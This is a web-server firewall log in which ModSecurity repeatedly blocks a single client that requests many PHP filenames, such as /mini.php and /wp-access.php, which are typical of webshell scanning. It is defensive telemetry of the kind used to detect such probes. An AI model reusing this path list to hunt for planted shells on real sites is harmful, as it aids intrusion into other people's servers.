[Thu Apr 23 10:41:52.795127 2026] [:error] [pid 59700:tid 59721] [client 20.216.138.65:30449] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms.php"] [unique_id "aemG8JXyGZJFeAIDWtmxWgAAAVM"]
[Thu Apr 23 10:41:53.377029 2026] [:error] [pid 64998:tid 65016] [client 20.216.138.65:34337] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms.php"] [unique_id "aemG8YV5EysYcTLjmwikfAAAAc4"]
[Thu Apr 23 10:41:54.038803 2026] [:error] [pid 42973:tid 43053] [client 20.216.138.65:36098] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms.php"] [unique_id "aemG8m6I0QqmmmLTHE0d-wAAAIo"]
[Thu Apr 23 10:41:54.628198 2026] [:error] [pid 42972:tid 43039] [client 20.216.138.65:54522] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms.php"] [unique_id "aemG8sOAb-3sOknsk4dXkgAAAFc"]
[Thu Apr 23 10:41:55.621174 2026] [:error] [pid 64998:tid 65026] [client 20.216.138.65:30410] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-access.php"] [unique_id "aemG84V5EysYcTLjmwikgAAAAdg"]
[Thu Apr 23 10:41:56.356778 2026] [:error] [pid 46953:tid 46971] [client 20.216.138.65:34335] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-access.php"] [unique_id "aemG9EnlpdHh-P6wKbra0AAAAk8"]
[Thu Apr 23 10:41:56.961039 2026] [:error] [pid 64998:tid 65024] [client 20.216.138.65:34305] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-access.php"] [unique_id "aemG9IV5EysYcTLjmwikgQAAAdY"]
[Thu Apr 23 10:41:57.530456 2026] [:error] [pid 42972:tid 43037] [client 20.216.138.65:34350] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-access.php"] [unique_id "aemG9cOAb-3sOknsk4dXlwAAAFU"]
[Thu Apr 23 10:41:58.015063 2026] [:error] [pid 42972:tid 43029] [client 20.216.138.65:36100] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-class-atom.php"] [unique_id "aemG9sOAb-3sOknsk4dXngAAAE0"]
[Thu Apr 23 10:41:58.622924 2026] [:error] [pid 59700:tid 59705] [client 20.216.138.65:34316] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-class-atom.php"] [unique_id "aemG9pXyGZJFeAIDWtmxXQAAAUM"]
[Thu Apr 23 10:41:59.137564 2026] [:error] [pid 42972:tid 43035] [client 20.216.138.65:34358] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-class-atom.php"] [unique_id "aemG98OAb-3sOknsk4dXugAAAFM"]
[Thu Apr 23 10:41:59.616810 2026] [:error] [pid 25635:tid 25644] [client 20.216.138.65:36129] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-class-atom.php"] [unique_id "aemG98Rxv6UsgRGKB3IJYAAAAQU"]
[Thu Apr 23 10:42:00.135030 2026] [:error] [pid 42972:tid 43022] [client 20.216.138.65:30426] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "aemG-MOAb-3sOknsk4dXyAAAAEY"]
[Thu Apr 23 10:42:00.708686 2026] [:error] [pid 64967:tid 64975] [client 20.216.138.65:30432] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "aemG-IAV4GfOOdX8Qzo_2QAAAYY"]
[Thu Apr 23 10:42:01.217962 2026] [:error] [pid 42972:tid 43021] [client 20.216.138.65:36114] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "aemG-cOAb-3sOknsk4dXzAAAAEU"]
[Thu Apr 23 10:42:01.731997 2026] [:error] [pid 42972:tid 43032] [client 20.216.138.65:30429] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "aemG-cOAb-3sOknsk4dXzQAAAFA"]
[Thu Apr 23 10:42:02.259692 2026] [:error] [pid 42972:tid 43035] [client 20.216.138.65:30421] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/press.php"] [unique_id "aemG-sOAb-3sOknsk4dX0AAAAFM"]
[Thu Apr 23 10:42:02.742184 2026] [:error] [pid 42972:tid 43031] [client 20.216.138.65:30417] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/press.php"] [unique_id "aemG-sOAb-3sOknsk4dX0gAAAE8"]
[Thu Apr 23 10:42:03.261806 2026] [:error] [pid 65000:tid 65044] [client 20.216.138.65:36153] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/press.php"] [unique_id "aemG-76vRb9j6psK2ZY2gwAAAgs"]
[Thu Apr 23 10:42:03.748049 2026] [:error] [pid 43083:tid 43086] [client 20.216.138.65:34327] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/press.php"] [unique_id "aemG-zC5hrvNXosL83IvrQAAAME"]
[Thu Apr 23 10:42:04.258993 2026] [:error] [pid 65000:tid 65043] [client 20.216.138.65:34309] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/900.php"] [unique_id "aemG_L6vRb9j6psK2ZY2jQAAAgo"]
[Thu Apr 23 10:42:04.812056 2026] [:error] [pid 42972:tid 43039] [client 20.216.138.65:34361] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/900.php"] [unique_id "aemG_MOAb-3sOknsk4dX6AAAAFc"]
[Thu Apr 23 10:42:05.354792 2026] [:error] [pid 42973:tid 43047] [client 20.216.138.65:30454] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/900.php"] [unique_id "aemG_W6I0QqmmmLTHE0eDgAAAIQ"]
[Thu Apr 23 10:42:05.893339 2026] [:error] [pid 42973:tid 43050] [client 20.216.138.65:34307] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/900.php"] [unique_id "aemG_W6I0QqmmmLTHE0eEgAAAIc"]
[Thu Apr 23 10:42:06.484571 2026] [:error] [pid 65000:tid 65047] [client 20.216.138.65:30453] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-links-opml.php"] [unique_id "aemG_r6vRb9j6psK2ZY2uAAAAg4"]
[Thu Apr 23 10:42:07.012034 2026] [:error] [pid 42973:tid 43056] [client 20.216.138.65:36102] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-links-opml.php"] [unique_id "aemG_26I0QqmmmLTHE0eGAAAAI0"]
[Thu Apr 23 10:42:07.561662 2026] [:error] [pid 42973:tid 43057] [client 20.216.138.65:36149] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-links-opml.php"] [unique_id "aemG_26I0QqmmmLTHE0eHAAAAI4"]
[Thu Apr 23 10:42:08.175539 2026] [:error] [pid 42972:tid 43037] [client 20.216.138.65:30450] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-links-opml.php"] [unique_id "aemHAMOAb-3sOknsk4dYAAAAAFU"]
[Thu Apr 23 10:42:08.670353 2026] [:error] [pid 65000:tid 65057] [client 20.216.138.65:34363] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jk.php"] [unique_id "aemHAL6vRb9j6psK2ZY2xQAAAhg"]
[Thu Apr 23 10:42:09.220540 2026] [:error] [pid 42972:tid 43029] [client 20.216.138.65:34328] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jk.php"] [unique_id "aemHAcOAb-3sOknsk4dYAQAAAE0"]
[Thu Apr 23 10:42:09.774837 2026] [:error] [pid 64967:tid 64978] [client 20.216.138.65:11246] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jk.php"] [unique_id "aemHAYAV4GfOOdX8Qzo_4QAAAYk"]
[Thu Apr 23 10:42:10.330073 2026] [:error] [pid 43083:tid 43092] [client 20.216.138.65:30461] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jk.php"] [unique_id "aemHAjC5hrvNXosL83IvtwAAAMc"]
[Thu Apr 23 10:42:10.851568 2026] [:error] [pid 42971:tid 42996] [client 20.216.138.65:34318] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dx.php"] [unique_id "aemHAjEP2_5RswrH8bHv5AAAAAo"]
[Thu Apr 23 10:42:11.341383 2026] [:error] [pid 59700:tid 59708] [client 20.216.138.65:36150] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dx.php"] [unique_id "aemHA5XyGZJFeAIDWtmxYgAAAUY"]
[Thu Apr 23 10:42:11.864478 2026] [:error] [pid 59700:tid 59722] [client 20.216.138.65:30414] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dx.php"] [unique_id "aemHA5XyGZJFeAIDWtmxZAAAAVQ"]
[Thu Apr 23 10:42:12.364295 2026] [:error] [pid 42972:tid 43020] [client 20.216.138.65:34333] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dx.php"] [unique_id "aemHBMOAb-3sOknsk4dYBgAAAEQ"]
[Thu Apr 23 10:42:12.899675 2026] [:error] [pid 42973:tid 43059] [client 20.216.138.65:34355] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "aemHBG6I0QqmmmLTHE0eIwAAAJA"]
[Thu Apr 23 10:42:13.406299 2026] [:error] [pid 46953:tid 46957] [client 20.216.138.65:30411] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "aemHBUnlpdHh-P6wKbra1gAAAkE"]
[Thu Apr 23 10:42:13.969662 2026] [:error] [pid 42972:tid 43040] [client 20.216.138.65:34352] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "aemHBcOAb-3sOknsk4dYDAAAAFg"]
[Thu Apr 23 10:42:14.454509 2026] [:error] [pid 64998:tid 65016] [client 20.216.138.65:54507] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "aemHBoV5EysYcTLjmwikmAAAAc4"]
[Thu Apr 23 10:42:15.002371 2026] [:error] [pid 42972:tid 43018] [client 20.216.138.65:30401] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mini.php"] [unique_id "aemHB8OAb-3sOknsk4dYEAAAAEI"]
[Thu Apr 23 10:42:15.539805 2026] [:error] [pid 65000:tid 65048] [client 20.216.138.65:27294] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mini.php"] [unique_id "aemHB76vRb9j6psK2ZY20gAAAg8"]
[Thu Apr 23 10:42:16.088481 2026] [:error] [pid 59700:tid 59720] [client 20.216.138.65:30416] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mini.php"] [unique_id "aemHCJXyGZJFeAIDWtmxawAAAVI"]
[Thu Apr 23 10:42:16.598643 2026] [:error] [pid 42973:tid 43063] [client 20.216.138.65:34349] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mini.php"] [unique_id "aemHCG6I0QqmmmLTHE0eLAAAAJQ"]
[Thu Apr 23 10:42:17.191493 2026] [:error] [pid 59700:tid 59705] [client 20.216.138.65:34304] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fs.php"] [unique_id "aemHCZXyGZJFeAIDWtmxbAAAAUM"]
[Thu Apr 23 10:42:17.724442 2026] [:error] [pid 59700:tid 59706] [client 20.216.138.65:54488] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fs.php"] [unique_id "aemHCZXyGZJFeAIDWtmxbQAAAUQ"]
[Thu Apr 23 10:42:18.323285 2026] [:error] [pid 42972:tid 43024] [client 20.216.138.65:30451] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fs.php"] [unique_id "aemHCsOAb-3sOknsk4dYGAAAAEg"]
[Thu Apr 23 10:42:19.016606 2026] [:error] [pid 42973:tid 43047] [client 20.216.138.65:34342] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fs.php"] [unique_id "aemHC26I0QqmmmLTHE0eMAAAAIQ"]
[Thu Apr 23 10:42:19.562994 2026] [:error] [pid 59700:tid 59717] [client 20.216.138.65:30452] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mode.php"] [unique_id "aemHC5XyGZJFeAIDWtmxbwAAAU8"]
[Thu Apr 23 10:42:20.129758 2026] [:error] [pid 65000:tid 65045] [client 20.216.138.65:34340] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mode.php"] [unique_id "aemHDL6vRb9j6psK2ZY21wAAAgw"]
[Thu Apr 23 10:42:20.631490 2026] [:error] [pid 42973:tid 43054] [client 20.216.138.65:30434] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mode.php"] [unique_id "aemHDG6I0QqmmmLTHE0eNAAAAIs"]
[Thu Apr 23 10:42:21.210527 2026] [:error] [pid 65000:tid 65038] [client 20.216.138.65:34319] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mode.php"] [unique_id "aemHDb6vRb9j6psK2ZY22gAAAgU"]
[Thu Apr 23 10:42:21.764963 2026] [:error] [pid 42972:tid 43021] [client 20.216.138.65:30406] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aemHDcOAb-3sOknsk4dYGwAAAEU"]
[Thu Apr 23 10:42:22.366810 2026] [:error] [pid 59700:tid 59715] [client 20.216.138.65:30460] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aemHDpXyGZJFeAIDWtmxcgAAAU0"]
[Thu Apr 23 10:42:23.147465 2026] [:error] [pid 42972:tid 43029] [client 20.216.138.65:30458] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aemHD8OAb-3sOknsk4dYHQAAAE0"]
[Thu Apr 23 10:42:23.680389 2026] [:error] [pid 42973:tid 43056] [client 20.216.138.65:36119] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aemHD26I0QqmmmLTHE0eNwAAAI0"]
